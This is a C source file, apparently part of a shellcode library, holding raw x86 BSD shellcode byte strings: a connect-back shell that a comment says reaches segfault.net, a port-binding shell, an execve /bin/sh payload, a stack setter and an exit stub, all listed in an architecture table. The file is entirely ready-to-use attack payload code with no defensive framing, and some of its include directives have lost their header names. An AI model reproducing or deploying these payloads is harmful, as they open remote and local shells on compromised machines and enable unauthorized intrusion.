#include #include #include #include "shellcode.h" #include "x86.h" /* ATTENTION: this must be first of concated shellcodes and the last one must be terminated with x86_TERMINATOR */ shellcode x86_bsd_spset = { "x86-bsd-spset", 20, "\xb8\x78\x56\x34\x12\x99\xb6\x02\x5b\x53\x44\x4a" "\x74\x06\x39\xc3\x74\xf3\xeb\xf4" }; /* ATTENTION: connects to segfault.net at the moment */ shellcode x86_bsd_connectsh = { "x86-bsd-connectsh", 66, "\x31\xed\xf7\xe5\x55\x45\x55\x45\x55\xb0\x61\x55" "\xcd\x80\x96\x68\xc3\x58\xb0\xca\x66\x68\x44\x44" "\x66\x55\x89\xe7\x6a\x10\x57\x56\x56\x6a\x62\x58" "\xcd\x80\x60\xb0\x5a\xcd\x80\x4d\x79\xf8\x52\x89" "\xe3\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x60" "\x5e\x5e\xb0\x3b\xcd\x80" }; shellcode x86_bsd_portshellsh = { "x86-bsd-portshellsh", 73, "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53" "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5" "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a" "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a" "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73" "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd" "\x80" }; shellcode x86_bsd_execvesh = { "x86-bsd-execvesh", 22, "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80" }; shellcode x86_bsd_exit = { "x86-bsd-exit", 5, "\x31\xc0\x40\xcd\x80" }; shellcode * x86_bsd_shellcodes[] = { &x86_bsd_execvesh, /* TODO: add other shellcodes here */ &x86_bsd_exit, &x86_bsd_portshellsh, &x86_bsd_connectsh, &x86_bsd_spset, NULL, }; arch x86_bsd = { "x86-bsd", 1, x86_nop, x86_bsd_shellcodes, };